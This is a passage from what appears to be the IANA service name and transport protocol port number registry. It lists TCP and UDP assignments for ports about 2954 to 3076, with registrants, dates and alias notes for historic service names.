ovalarmsrv-cmd     2954        udp    OVALARMSRV-CMD               [Eric_Pulsipher]                                      [Eric_Pulsipher]
csnotify           2955        tcp    CSNOTIFY                     [Israel_Beniaminy]                                    [Israel_Beniaminy]
csnotify           2955        udp    CSNOTIFY                     [Israel_Beniaminy]                                    [Israel_Beniaminy]
ovrimosdbman       2956        tcp    OVRIMOSDBMAN                 [Dimitrios_Souflis]                                   [Dimitrios_Souflis]
ovrimosdbman       2956        udp    OVRIMOSDBMAN                 [Dimitrios_Souflis]                                   [Dimitrios_Souflis]
jmact5             2957        tcp    JAMCT5
jmact5             2957        udp    JAMCT5
jmact6             2958        tcp    JAMCT6
jmact6             2958        udp    JAMCT6
rmopagt            2959        tcp    RMOPAGT                      [Shuji_Okubo]                                         [Shuji_Okubo]
rmopagt            2959        udp    RMOPAGT                      [Shuji_Okubo]                                         [Shuji_Okubo]
dfoxserver         2960        tcp    DFOXSERVER                   [David_Holden]                                        [David_Holden]
dfoxserver         2960        udp    DFOXSERVER                   [David_Holden]                                        [David_Holden]
boldsoft-lm        2961        tcp    BOLDSOFT-LM                  [Fredrik_Haglund]                                     [Fredrik_Haglund]
boldsoft-lm        2961        udp    BOLDSOFT-LM                  [Fredrik_Haglund]                                     [Fredrik_Haglund]
iph-policy-cli     2962        tcp    IPH-POLICY-CLI
iph-policy-cli     2962        udp    IPH-POLICY-CLI
iph-policy-adm     2963        tcp    IPH-POLICY-ADM               [Shai_Herzog]                                         [Shai_Herzog]
iph-policy-adm     2963        udp    IPH-POLICY-ADM               [Shai_Herzog]                                         [Shai_Herzog]
bullant-srap       2964        tcp    BULLANT SRAP
bullant-srap       2964        udp    BULLANT SRAP
bullant-rap        2965        tcp    BULLANT RAP                  [Michael_Cahill]                                      [Michael_Cahill]
bullant-rap        2965        udp    BULLANT RAP                  [Michael_Cahill]                                      [Michael_Cahill]
idp-infotrieve     2966        tcp    IDP-INFOTRIEVE               [Kevin_Bruckert]                                      [Kevin_Bruckert]
idp-infotrieve     2966        udp    IDP-INFOTRIEVE               [Kevin_Bruckert]                                      [Kevin_Bruckert]
ssc-agent          2967        tcp    SSC-AGENT                    [George_Dzieciol]                                     [George_Dzieciol]
ssc-agent          2967        udp    SSC-AGENT                    [George_Dzieciol]                                     [George_Dzieciol]
enpp               2968        tcp    ENPP                         [Kazuhito_Gassho]                                     [Kazuhito_Gassho]
enpp               2968        udp    ENPP                         [Kazuhito_Gassho]                                     [Kazuhito_Gassho]
essp               2969        tcp    ESSP                         [Hitoshi_Ishida]                                      [Hitoshi_Ishida]
essp               2969        udp    ESSP                         [Hitoshi_Ishida]                                      [Hitoshi_Ishida]
index-net          2970        tcp    INDEX-NET                    [Chris_J_Wren]                                        [Chris_J_Wren]
index-net          2970        udp    INDEX-NET                    [Chris_J_Wren]                                        [Chris_J_Wren]
netclip            2971        tcp    NetClip clipboard daemon     [Rudi_Chiarito]                                       [Rudi_Chiarito]
netclip            2971        udp    NetClip clipboard daemon     [Rudi_Chiarito]                                       [Rudi_Chiarito]
pmsm-webrctl       2972        tcp    PMSM Webrctl                 [Markus_Michels]                                      [Markus_Michels]
pmsm-webrctl       2972        udp    PMSM Webrctl                 [Markus_Michels]                                      [Markus_Michels]
svnetworks         2973        tcp    SV Networks                  [Sylvia_Siu_2]                                        [Sylvia_Siu_2]
svnetworks         2973        udp    SV Networks                  [Sylvia_Siu_2]                                        [Sylvia_Siu_2]
signal             2974        tcp    Signal                       [Wyatt_Williams]                                      [Wyatt_Williams]
signal             2974        udp    Signal                       [Wyatt_Williams]                                      [Wyatt_Williams]
fjmpcm             2975        tcp    Fujitsu Configuration        [Hiroki_Kawano]                                       [Hiroki_Kawano]
                                      Management Service
fjmpcm             2975        udp    Fujitsu Configuration        [Hiroki_Kawano]                                       [Hiroki_Kawano]
                                      Management Service
cns-srv-port       2976        tcp    CNS Server Port              [Ram_Golla]                                           [Ram_Golla]
cns-srv-port       2976        udp    CNS Server Port              [Ram_Golla]                                           [Ram_Golla]
ttc-etap-ns        2977        tcp    TTCs Enterprise Test Access
                                      Protocol - NS
ttc-etap-ns        2977        udp    TTCs Enterprise Test Access
                                      Protocol - NS
ttc-etap-ds        2978        tcp    TTCs Enterprise Test Access  [Daniel_Becker_2]                                     [Daniel_Becker_2]
                                      Protocol - DS
ttc-etap-ds        2978        udp    TTCs Enterprise Test Access  [Daniel_Becker_2]                                     [Daniel_Becker_2]
                                      Protocol - DS
h263-video         2979        tcp    H.263 Video Streaming        [Jauvane_C_de_Olivei]                                 [Jauvane_C_de_Olivei]
h263-video         2979        udp    H.263 Video Streaming        [Jauvane_C_de_Olivei]                                 [Jauvane_C_de_Olivei]
wimd               2980        tcp    Instant Messaging Service    [Kevin_Birch]                                         [Kevin_Birch]
wimd               2980        udp    Instant Messaging Service    [Kevin_Birch]                                         [Kevin_Birch]
mylxamport         2981        tcp    MYLXAMPORT                   [Wei_Gao]                                             [Wei_Gao]
mylxamport         2981        udp    MYLXAMPORT                   [Wei_Gao]                                             [Wei_Gao]
iwb-whiteboard     2982        tcp    IWB-WHITEBOARD               [David_W_Radcliffe]                                   [David_W_Radcliffe]
iwb-whiteboard     2982        udp    IWB-WHITEBOARD               [David_W_Radcliffe]                                   [David_W_Radcliffe]
netplan            2983        tcp    NETPLAN                      [Thomas_Driemeyer]                                    [Thomas_Driemeyer]
netplan            2983        udp    NETPLAN                      [Thomas_Driemeyer]                                    [Thomas_Driemeyer]
hpidsadmin         2984        tcp    HPIDSADMIN
hpidsadmin         2984        udp    HPIDSADMIN
hpidsagent         2985        tcp    HPIDSAGENT                   [John_Trudeau]                                        [John_Trudeau]
hpidsagent         2985        udp    HPIDSAGENT                   [John_Trudeau]                                        [John_Trudeau]
stonefalls         2986        tcp    STONEFALLS                   [Scott_Grau]                                          [Scott_Grau]
stonefalls         2986        udp    STONEFALLS                   [Scott_Grau]                                          [Scott_Grau]
identify           2987        tcp    identify
identify           2987        udp    identify
hippad             2988        tcp    HIPPA Reporting Protocol     [William_Randolph_Roy]                                [William_Randolph_Roy]
hippad             2988        udp    HIPPA Reporting Protocol     [William_Randolph_Roy]                                [William_Randolph_Roy]
zarkov             2989        tcp    ZARKOV Intelligent Agent     [Robin_Felix]                                         [Robin_Felix]                                                          2014-02-17
                                      Communication
zarkov             2989        udp    ZARKOV Intelligent Agent     [Robin_Felix]                                         [Robin_Felix]                                                          2014-02-17
                                      Communication
boscap             2990        tcp    BOSCAP                       [Dirk_Hillbrecht]                                     [Dirk_Hillbrecht]
boscap             2990        udp    BOSCAP                       [Dirk_Hillbrecht]                                     [Dirk_Hillbrecht]
wkstn-mon          2991        tcp    WKSTN-MON                    [William_David]                                       [William_David]
wkstn-mon          2991        udp    WKSTN-MON                    [William_David]                                       [William_David]
avenyo             2992        tcp    Avenyo Server                [Bodo_Rueskamp]                                       [Bodo_Rueskamp]
avenyo             2992        udp    Avenyo Server                [Bodo_Rueskamp]                                       [Bodo_Rueskamp]
veritas-vis1       2993        tcp    VERITAS VIS1
veritas-vis1       2993        udp    VERITAS VIS1
veritas-vis2       2994        tcp    VERITAS VIS2                 [Dinkar_Chivaluri]                                    [Dinkar_Chivaluri]
veritas-vis2       2994        udp    VERITAS VIS2                 [Dinkar_Chivaluri]                                    [Dinkar_Chivaluri]
idrs               2995        tcp    IDRS                         [Jeff_Eaton]                                          [Jeff_Eaton]
idrs               2995        udp    IDRS                         [Jeff_Eaton]                                          [Jeff_Eaton]
vsixml             2996        tcp    vsixml                       [Rob_Juergens]                                        [Rob_Juergens]
vsixml             2996        udp    vsixml                       [Rob_Juergens]                                        [Rob_Juergens]
rebol              2997        tcp    REBOL                        [Holger_Kruse]                                        [Holger_Kruse]
rebol              2997        udp    REBOL                        [Holger_Kruse]                                        [Holger_Kruse]
realsecure         2998        tcp    Real Secure                  [Wes_Wilson]                                          [Wes_Wilson]
realsecure         2998        udp    Real Secure                  [Wes_Wilson]                                          [Wes_Wilson]
remoteware-un      2999        tcp    RemoteWare Unassigned        [Tim_Farley]                                          [Tim_Farley]
remoteware-un      2999        udp    RemoteWare Unassigned        [Tim_Farley]                                          [Tim_Farley]
hbci               3000        tcp    HBCI                         [Kurt_Haubner]                                        [Kurt_Haubner]
hbci               3000        udp    HBCI                         [Kurt_Haubner]                                        [Kurt_Haubner]
remoteware-cl      3000        tcp    RemoteWare Client            [Tim_Farley]                                          [Tim_Farley]                                                                                                                                             This entry records an unassigned but widespread use
remoteware-cl      3000        udp    RemoteWare Client            [Tim_Farley]                                          [Tim_Farley]                                                                                                                                             This entry records an unassigned but widespread use
origo-native       3001        tcp    OrigoDB Server Native        [Devrex_Labs]                                         [Robert_Friberg]                                                       2013-03-29                                                                        port 3001 previously "Removed on 2006-05-25"
                                      Interface
                   3001        udp    Reserved                                                                                                                                                  2013-03-29                                                                        port 3001 previously "Removed on 2006-05-25"
exlm-agent         3002        tcp    EXLM Agent                   [Randy_Martin]                                        [Randy_Martin]
exlm-agent         3002        udp    EXLM Agent                   [Randy_Martin]                                        [Randy_Martin]
remoteware-srv     3002        tcp    RemoteWare Server            [Tim_Farley]                                          [Tim_Farley]                                                                                                                                             This entry records an unassigned but widespread use
remoteware-srv     3002        udp    RemoteWare Server            [Tim_Farley]                                          [Tim_Farley]                                                                                                                                             This entry records an unassigned but widespread use
cgms               3003        tcp    CGMS                         [Corey_Clinton]                                       [Corey_Clinton]                                           2011-02-02
cgms               3003        udp    CGMS                         [Corey_Clinton]                                       [Corey_Clinton]                                           2011-02-02
csoftragent        3004        tcp    Csoft Agent                  [Nedelcho_Stanev_2]                                   [Nedelcho_Stanev_2]
csoftragent        3004        udp    Csoft Agent                  [Nedelcho_Stanev_2]                                   [Nedelcho_Stanev_2]
geniuslm           3005        tcp    Genius License Manager       [Jakob_Spies]                                         [Jakob_Spies]
geniuslm           3005        udp    Genius License Manager       [Jakob_Spies]                                         [Jakob_Spies]
ii-admin           3006        tcp    Instant Internet Admin       [Lewis_Donzis]                                        [Lewis_Donzis]
ii-admin           3006        udp    Instant Internet Admin       [Lewis_Donzis]                                        [Lewis_Donzis]
lotusmtap          3007        tcp    Lotus Mail Tracking Agent    [Ken_Lin]                                             [Ken_Lin]
                                      Protocol
lotusmtap          3007        udp    Lotus Mail Tracking Agent    [Ken_Lin]                                             [Ken_Lin]
                                      Protocol
midnight-tech      3008        tcp    Midnight Technologies        [Kyle_Unice]                                          [Kyle_Unice]
midnight-tech      3008        udp    Midnight Technologies        [Kyle_Unice]                                          [Kyle_Unice]
pxc-ntfy           3009        tcp    PXC-NTFY                     [Takeshi_Nishizawa]                                   [Takeshi_Nishizawa]
pxc-ntfy           3009        udp    PXC-NTFY                     [Takeshi_Nishizawa]                                   [Takeshi_Nishizawa]
gw                 3010        tcp    Telerate Workstation
ping-pong          3010        udp    Telerate Workstation         [Timo_Sivonen]                                        [Timo_Sivonen]
trusted-web        3011        tcp    Trusted Web
trusted-web        3011        udp    Trusted Web
twsdss             3012        tcp    Trusted Web Client           [Alex_Duncan]                                         [Alex_Duncan]
twsdss             3012        udp    Trusted Web Client           [Alex_Duncan]                                         [Alex_Duncan]
gilatskysurfer     3013        tcp    Gilat Sky Surfer             [Yossi_Gal]                                           [Yossi_Gal]
gilatskysurfer     3013        udp    Gilat Sky Surfer             [Yossi_Gal]                                           [Yossi_Gal]
                                      Broker Service

broker-service     3014        tcp    IANA assigned this           [Dale_Bethers]                                        [Dale_Bethers]
                                      well-formed service name as
                                      a replacement for
                                      "broker_service".
                                                                                                                                                                                                                                                                                  This entry is an alias to "broker-service". This entry is now
broker_service     3014        tcp    Broker Service               [Dale_Bethers]                                        [Dale_Bethers]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Broker Service

broker-service     3014        udp    IANA assigned this           [Dale_Bethers]                                        [Dale_Bethers]
                                      well-formed service name as
                                      a replacement for
                                      "broker_service".
                                                                                                                                                                                                                                                                                  This entry is an alias to "broker-service". This entry is now
broker_service     3014        udp    Broker Service               [Dale_Bethers]                                        [Dale_Bethers]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
nati-dstp          3015        tcp    NATI DSTP                    [Paul_Austin]                                         [Paul_Austin]
nati-dstp          3015        udp    NATI DSTP                    [Paul_Austin]                                         [Paul_Austin]
                                      Notify Server

notify-srvr        3016        tcp    IANA assigned this           [Hugo_Parra]                                          [Hugo_Parra]
                                      well-formed service name as
                                      a replacement for
                                      "notify_srvr".
                                                                                                                                                                                                                                                                                  This entry is an alias to "notify-srvr". This entry is now
notify_srvr        3016        tcp    Notify Server                [Hugo_Parra]                                          [Hugo_Parra]                                                                                                                                             historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Notify Server

notify-srvr        3016        udp    IANA assigned this           [Hugo_Parra]                                          [Hugo_Parra]
                                      well-formed service name as
                                      a replacement for
                                      "notify_srvr".
                                                                                                                                                                                                                                                                                  This entry is an alias to "notify-srvr". This entry is now
notify_srvr        3016        udp    Notify Server                [Hugo_Parra]                                          [Hugo_Parra]                                                                                                                                             historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Event Listener

event-listener     3017        tcp    IANA assigned this           [Ted_Tronson]                                         [Ted_Tronson]
                                      well-formed service name as
                                      a replacement for
                                      "event_listener".
                                                                                                                                                                                                                                                                                  This entry is an alias to "event-listener". This entry is now
event_listener     3017        tcp    Event Listener               [Ted_Tronson]                                         [Ted_Tronson]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Event Listener

event-listener     3017        udp    IANA assigned this           [Ted_Tronson]                                         [Ted_Tronson]
                                      well-formed service name as
                                      a replacement for
                                      "event_listener".
                                                                                                                                                                                                                                                                                  This entry is an alias to "event-listener". This entry is now
event_listener     3017        udp    Event Listener               [Ted_Tronson]                                         [Ted_Tronson]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Service Registry

srvc-registry      3018        tcp    IANA assigned this           [Mark_Killgore]                                       [Mark_Killgore]
                                      well-formed service name as
                                      a replacement for
                                      "srvc_registry".
                                                                                                                                                                                                                                                                                  This entry is an alias to "srvc-registry". This entry is now
srvc_registry      3018        tcp    Service Registry             [Mark_Killgore]                                       [Mark_Killgore]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Service Registry

srvc-registry      3018        udp    IANA assigned this           [Mark_Killgore]                                       [Mark_Killgore]
                                      well-formed service name as
                                      a replacement for
                                      "srvc_registry".
                                                                                                                                                                                                                                                                                  This entry is an alias to "srvc-registry". This entry is now
srvc_registry      3018        udp    Service Registry             [Mark_Killgore]                                       [Mark_Killgore]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Resource Manager

resource-mgr       3019        tcp    IANA assigned this           [Gary_Glover]                                         [Gary_Glover]
                                      well-formed service name as
                                      a replacement for
                                      "resource_mgr".
                                                                                                                                                                                                                                                                                  This entry is an alias to "resource-mgr". This entry is now
resource_mgr       3019        tcp    Resource Manager             [Gary_Glover]                                         [Gary_Glover]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Resource Manager

resource-mgr       3019        udp    IANA assigned this           [Gary_Glover]                                         [Gary_Glover]
                                      well-formed service name as
                                      a replacement for
                                      "resource_mgr".
                                                                                                                                                                                                                                                                                  This entry is an alias to "resource-mgr". This entry is now
resource_mgr       3019        udp    Resource Manager             [Gary_Glover]                                         [Gary_Glover]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
cifs               3020        tcp    CIFS                         [Paul_Leach]                                          [Paul_Leach]
cifs               3020        udp    CIFS                         [Paul_Leach]                                          [Paul_Leach]
agriserver         3021        tcp    AGRI Server                  [Frank_Neulichedl]                                    [Frank_Neulichedl]
agriserver         3021        udp    AGRI Server                  [Frank_Neulichedl]                                    [Frank_Neulichedl]
csregagent         3022        tcp    CSREGAGENT                   [Nedelcho_Stanev]                                     [Nedelcho_Stanev]
csregagent         3022        udp    CSREGAGENT                   [Nedelcho_Stanev]                                     [Nedelcho_Stanev]
magicnotes         3023        tcp    magicnotes                   [Karl_Edwall]                                         [Karl_Edwall]
magicnotes         3023        udp    magicnotes                   [Karl_Edwall]                                         [Karl_Edwall]
                                      NDS_SSO

nds-sso            3024        tcp    IANA assigned this           [Mel_Oyler]                                           [Mel_Oyler]
                                      well-formed service name as
                                      a replacement for "nds_sso".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nds-sso". This entry is now
nds_sso            3024        tcp    NDS_SSO                      [Mel_Oyler]                                           [Mel_Oyler]                                                                                                                                              historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      NDS_SSO

nds-sso            3024        udp    IANA assigned this           [Mel_Oyler]                                           [Mel_Oyler]
                                      well-formed service name as
                                      a replacement for "nds_sso".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nds-sso". This entry is now
nds_sso            3024        udp    NDS_SSO                      [Mel_Oyler]                                           [Mel_Oyler]                                                                                                                                              historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
arepa-raft         3025        tcp    Arepa Raft                   [Stuart_Schaefer]                                     [Stuart_Schaefer]
arepa-raft         3025        udp    Arepa Raft                   [Stuart_Schaefer]                                     [Stuart_Schaefer]
agri-gateway       3026        tcp    AGRI Gateway                 [Agri_Datalog]                                        [Agri_Datalog]
agri-gateway       3026        udp    AGRI Gateway                 [Agri_Datalog]                                        [Agri_Datalog]
                                      LiebDevMgmt_C

LiebDevMgmt-C      3027        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "LiebDevMgmt_C".
                                                                                                                                                                                                                                                                                  This entry is an alias to "LiebDevMgmt-C". This entry is now
LiebDevMgmt_C      3027        tcp    LiebDevMgmt_C                                                                                                                                                                                                                               historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      LiebDevMgmt_C

LiebDevMgmt-C      3027        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "LiebDevMgmt_C".
                                                                                                                                                                                                                                                                                  This entry is an alias to "LiebDevMgmt-C". This entry is now
LiebDevMgmt_C      3027        udp    LiebDevMgmt_C                                                                                                                                                                                                                               historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      LiebDevMgmt_DM

LiebDevMgmt-DM     3028        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "LiebDevMgmt_DM".
                                                                                                                                                                                                                                                                                  This entry is an alias to "LiebDevMgmt-DM". This entry is now
LiebDevMgmt_DM     3028        tcp    LiebDevMgmt_DM                                                                                                                                                                                                                              historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      LiebDevMgmt_DM

LiebDevMgmt-DM     3028        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "LiebDevMgmt_DM".
                                                                                                                                                                                                                                                                                  This entry is an alias to "LiebDevMgmt-DM". This entry is now
LiebDevMgmt_DM     3028        udp    LiebDevMgmt_DM                                                                                                                                                                                                                              historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      LiebDevMgmt_A

LiebDevMgmt-A      3029        tcp    IANA assigned this           [Mike_Velten]                                         [Mike_Velten]
                                      well-formed service name as
                                      a replacement for
                                      "LiebDevMgmt_A".
                                                                                                                                                                                                                                                                                  This entry is an alias to "LiebDevMgmt-A". This entry is now
LiebDevMgmt_A      3029        tcp    LiebDevMgmt_A                [Mike_Velten]                                         [Mike_Velten]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      LiebDevMgmt_A

LiebDevMgmt-A      3029        udp    IANA assigned this           [Mike_Velten]                                         [Mike_Velten]
                                      well-formed service name as
                                      a replacement for
                                      "LiebDevMgmt_A".
                                                                                                                                                                                                                                                                                  This entry is an alias to "LiebDevMgmt-A". This entry is now
LiebDevMgmt_A      3029        udp    LiebDevMgmt_A                [Mike_Velten]                                         [Mike_Velten]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
arepa-cas          3030        tcp    Arepa Cas                    [Stuart_Schaefer]                                     [Stuart_Schaefer]
arepa-cas          3030        udp    Arepa Cas                    [Stuart_Schaefer]                                     [Stuart_Schaefer]
eppc               3031        tcp    Remote AppleEvents/PPC       [Steve_Zellers]                                       [Steve_Zellers]
                                      Toolbox
eppc               3031        udp    Remote AppleEvents/PPC       [Steve_Zellers]                                       [Steve_Zellers]
                                      Toolbox
redwood-chat       3032        tcp    Redwood Chat                 [Songwon_Chi]                                         [Songwon_Chi]
redwood-chat       3032        udp    Redwood Chat                 [Songwon_Chi]                                         [Songwon_Chi]
pdb                3033        tcp    PDB                          [Don_Bowman]                                          [Don_Bowman]
pdb                3033        udp    PDB                          [Don_Bowman]                                          [Don_Bowman]
osmosis-aeea       3034        tcp    Osmosis / Helix (R) AEEA     [Larry_Atkin]                                         [Larry_Atkin]
                                      Port
osmosis-aeea       3034        udp    Osmosis / Helix (R) AEEA     [Larry_Atkin]                                         [Larry_Atkin]
                                      Port
fjsv-gssagt        3035        tcp    FJSV gssagt                  [Tomoji_Koike]                                        [Tomoji_Koike]
fjsv-gssagt        3035        udp    FJSV gssagt                  [Tomoji_Koike]                                        [Tomoji_Koike]
hagel-dump         3036        tcp    Hagel DUMP                   [Haim_Gelfenbeyn]                                     [Haim_Gelfenbeyn]
hagel-dump         3036        udp    Hagel DUMP                   [Haim_Gelfenbeyn]                                     [Haim_Gelfenbeyn]
hp-san-mgmt        3037        tcp    HP SAN Mgmt                  [Steve_Britt]                                         [Steve_Britt]
hp-san-mgmt        3037        udp    HP SAN Mgmt                  [Steve_Britt]                                         [Steve_Britt]
santak-ups         3038        tcp    Santak UPS                   [Tom_Liu]                                             [Tom_Liu]
santak-ups         3038        udp    Santak UPS                   [Tom_Liu]                                             [Tom_Liu]
cogitate           3039        tcp    Cogitate, Inc.               [Jim_Harlan]                                          [Jim_Harlan]
cogitate           3039        udp    Cogitate, Inc.               [Jim_Harlan]                                          [Jim_Harlan]
tomato-springs     3040        tcp    Tomato Springs               [Jack_Waller_III]                                     [Jack_Waller_III]
tomato-springs     3040        udp    Tomato Springs               [Jack_Waller_III]                                     [Jack_Waller_III]
di-traceware       3041        tcp    di-traceware                 [Carlos_Hung]                                         [Carlos_Hung]
di-traceware       3041        udp    di-traceware                 [Carlos_Hung]                                         [Carlos_Hung]
journee            3042        tcp    journee                      [Kevin_Calman]                                        [Kevin_Calman]
journee            3042        udp    journee                      [Kevin_Calman]                                        [Kevin_Calman]
brp                3043        tcp    Broadcast Routing Protocol   [John_Border]                                         [John_Border]
brp                3043        udp    Broadcast Routing Protocol   [John_Border]                                         [John_Border]
epp                3044        tcp    EndPoint Protocol            [Stephen_Cipolli]                                     [Stephen_Cipolli]
epp                3044        udp    EndPoint Protocol            [Stephen_Cipolli]                                     [Stephen_Cipolli]
responsenet        3045        tcp    ResponseNet                  [Chul_Yoon]                                           [Chul_Yoon]
responsenet        3045        udp    ResponseNet                  [Chul_Yoon]                                           [Chul_Yoon]
di-ase             3046        tcp    di-ase                       [Carlos_Hung]                                         [Carlos_Hung]
di-ase             3046        udp    di-ase                       [Carlos_Hung]                                         [Carlos_Hung]
hlserver           3047        tcp    Fast Security HL Server      [Safenet_Inc.]                                        [Michael_Zunke_3]                                                      2014-07-02
hlserver           3047        udp    Fast Security HL Server      [Safenet_Inc.]                                        [Michael_Zunke_3]                                                      2014-07-02
pctrader           3048        tcp    Sierra Net PC Trader         [Chris_Hahn]                                          [Chris_Hahn]
pctrader           3048        udp    Sierra Net PC Trader         [Chris_Hahn]                                          [Chris_Hahn]
nsws               3049        tcp    NSWS                         [Ray_Gwinn]                                           [Ray_Gwinn]
nsws               3049        udp    NSWS                         [Ray_Gwinn]                                           [Ray_Gwinn]
                                      gds_db

gds-db             3050        tcp    IANA assigned this           [Madhukar_N_Thakur]                                   [Madhukar_N_Thakur]
                                      well-formed service name as
                                      a replacement for "gds_db".
                                                                                                                                                                                                                                                                                  This entry is an alias to "gds-db". This entry is now
gds_db             3050        tcp    gds_db                       [Madhukar_N_Thakur]                                   [Madhukar_N_Thakur]                                                                                                                                      historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      gds_db

gds-db             3050        udp    IANA assigned this           [Madhukar_N_Thakur]                                   [Madhukar_N_Thakur]
                                      well-formed service name as
                                      a replacement for "gds_db".
                                                                                                                                                                                                                                                                                  This entry is an alias to "gds-db". This entry is now
gds_db             3050        udp    gds_db                       [Madhukar_N_Thakur]                                   [Madhukar_N_Thakur]                                                                                                                                      historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
galaxy-server      3051        tcp    Galaxy Server                [Michael_Andre]                                       [Michael_Andre]
galaxy-server      3051        udp    Galaxy Server                [Michael_Andre]                                       [Michael_Andre]
apc-3052           3052        tcp    APC 3052                     [American_Power_Conve]                                [American_Power_Conve]
apc-3052           3052        udp    APC 3052                     [American_Power_Conve]                                [American_Power_Conve]
dsom-server        3053        tcp    dsom-server                  [Daniel_Sisk]                                         [Daniel_Sisk]
dsom-server        3053        udp    dsom-server                  [Daniel_Sisk]                                         [Daniel_Sisk]
amt-cnf-prot       3054        tcp    AMT CNF PROT                 [Marco_Marcucci]                                      [Marco_Marcucci]
amt-cnf-prot       3054        udp    AMT CNF PROT                 [Marco_Marcucci]                                      [Marco_Marcucci]
policyserver       3055        tcp    Policy Server                [Mark_Garti]                                          [Mark_Garti]
policyserver       3055        udp    Policy Server                [Mark_Garti]                                          [Mark_Garti]
cdl-server         3056        tcp    CDL Server                   [Paul_Roberts]                                        [Paul_Roberts]
cdl-server         3056        udp    CDL Server                   [Paul_Roberts]                                        [Paul_Roberts]
goahead-fldup      3057        tcp    GoAhead FldUp                [Alan_Pickrell]                                       [Alan_Pickrell]
goahead-fldup      3057        udp    GoAhead FldUp                [Alan_Pickrell]                                       [Alan_Pickrell]
videobeans         3058        tcp    videobeans                   [Hiroyuki_Takahashi]                                  [Hiroyuki_Takahashi]
videobeans         3058        udp    videobeans                   [Hiroyuki_Takahashi]                                  [Hiroyuki_Takahashi]
qsoft              3059        tcp    qsoft                        [James_Kunz]                                          [James_Kunz]
qsoft              3059        udp    qsoft                        [James_Kunz]                                          [James_Kunz]
                                                                                                                                                                                                                                                                     Known
interserver        3060        tcp    interserver                  [Madhukar_N_Thakur]                                   [Madhukar_N_Thakur]                                                                                                                         Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     3060
                                                                                                                                                                                                                                                                     Known
interserver        3060        udp    interserver                  [Madhukar_N_Thakur]                                   [Madhukar_N_Thakur]                                                                                                                         Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     3060
cautcpd            3061        tcp    cautcpd
cautcpd            3061        udp    cautcpd
ncacn-ip-tcp       3062        tcp    ncacn-ip-tcp
ncacn-ip-tcp       3062        udp    ncacn-ip-tcp
ncadg-ip-udp       3063        tcp    ncadg-ip-udp                 [Gabi_Kalmar]                                         [Gabi_Kalmar]
ncadg-ip-udp       3063        udp    ncadg-ip-udp                 [Gabi_Kalmar]                                         [Gabi_Kalmar]
rprt               3064        tcp    Remote Port Redirector       [Robin_Johnston]                                      [Robin_Johnston]
rprt               3064        udp    Remote Port Redirector       [Robin_Johnston]                                      [Robin_Johnston]
slinterbase        3065        tcp    slinterbase                  [Bie_Tie]                                             [Bie_Tie]
slinterbase        3065        udp    slinterbase                  [Bie_Tie]                                             [Bie_Tie]
netattachsdmp      3066        tcp    NETATTACHSDMP                [Mike_Young]                                          [Mike_Young]
netattachsdmp      3066        udp    NETATTACHSDMP                [Mike_Young]                                          [Mike_Young]
fjhpjp             3067        tcp    FJHPJP                       [Ryozo_Furutani]                                      [Ryozo_Furutani]
fjhpjp             3067        udp    FJHPJP                       [Ryozo_Furutani]                                      [Ryozo_Furutani]
ls3bcast           3068        tcp    ls3 Broadcast
ls3bcast           3068        udp    ls3 Broadcast
ls3                3069        tcp    ls3                          [Jim_Thompson]                                        [Jim_Thompson]
ls3                3069        udp    ls3                          [Jim_Thompson]                                        [Jim_Thompson]
mgxswitch          3070        tcp    MGXSWITCH                    [George_Walter]                                       [George_Walter]
mgxswitch          3070        udp    MGXSWITCH                    [George_Walter]                                       [George_Walter]
xplat-replicate    3071        tcp    Crossplatform replication    [NetApp_3]                                            [Ravindra_Kuramkote]                                                   2017-08-24
                                      protocol
                   3071        udp    Reserved                                                                                                                                                  2017-08-24
csd-monitor        3072        tcp    ContinuStor Monitor Port     [NetApp]                                              [MSW_architecture_team]                                                2014-07-18
csd-monitor        3072        udp    ContinuStor Monitor Port     [NetApp]                                              [MSW_architecture_team]                                                2014-07-18
vcrp               3073        tcp    Very simple chatroom prot    [Andreas_Wurf]                                        [Andreas_Wurf]
vcrp               3073        udp    Very simple chatroom prot    [Andreas_Wurf]                                        [Andreas_Wurf]
xbox               3074        tcp    Xbox game port               [Damon_Danieli]                                       [Damon_Danieli]
xbox               3074        udp    Xbox game port               [Damon_Danieli]                                       [Damon_Danieli]
orbix-locator      3075        tcp    Orbix 2000 Locator
orbix-locator      3075        udp    Orbix 2000 Locator
orbix-config       3076        tcp    Orbix 2000 Config
orbix-config       3076        udp    Orbix 2000 Config
